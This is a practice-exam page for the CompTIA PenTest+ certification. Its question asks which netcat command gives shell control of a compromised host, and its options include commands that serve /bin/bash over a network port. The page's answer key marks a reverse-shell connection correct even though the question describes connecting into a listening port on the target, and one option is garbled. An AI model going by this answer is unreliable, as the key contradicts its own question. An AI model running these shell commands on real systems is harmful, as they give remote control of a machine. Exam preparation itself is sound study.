nerdexam
CompTIA

PT0-002 · Question #542

A penetration tester compromised a system and wants to connect to a port on the system from the attacking machine in order to control the system. Which of the following commands should the tester…

The correct answer is A. nc 10.0.0.1 5555. (nc 10.0.0.1 5555): This command initiates a connection from the compromised system to the IP address 10.0.0.1 (which we assume is the attacker's machine) on port 5555. This type of connection is typically used to establish a reverse shell, allowing the attacker to control the…

Post-exploitation and lateral movement

Question

A penetration tester compromised a system and wants to connect to a port on the system from the attacking machine in order to control the system. Which of the following commands should the tester run on the compromised system?

Options

  • Anc 10.0.0.1 5555
  • Bnc 127.0.0.1 -e /bin/bash
  • Cnc localhost 5555
  • Dnc -nvlp 5555 - bin/bash

How the community answered

(47 responses)
  • A
    72% (34)
  • B
    4% (2)
  • C
    13% (6)
  • D
    11% (5)

Explanation

(nc 10.0.0.1 5555): This command initiates a connection from the compromised system to the IP address 10.0.0.1 (which we assume is the attacker's machine) on port 5555. This type of connection is typically used to establish a reverse shell, allowing the attacker to control the compromised system by connecting back to the attacker's listener.

Topics

#Netcat#Reverse Shell#Post-exploitation#Remote Access

Community Discussion

No community discussion yet for this question.

Full PT0-002 Practice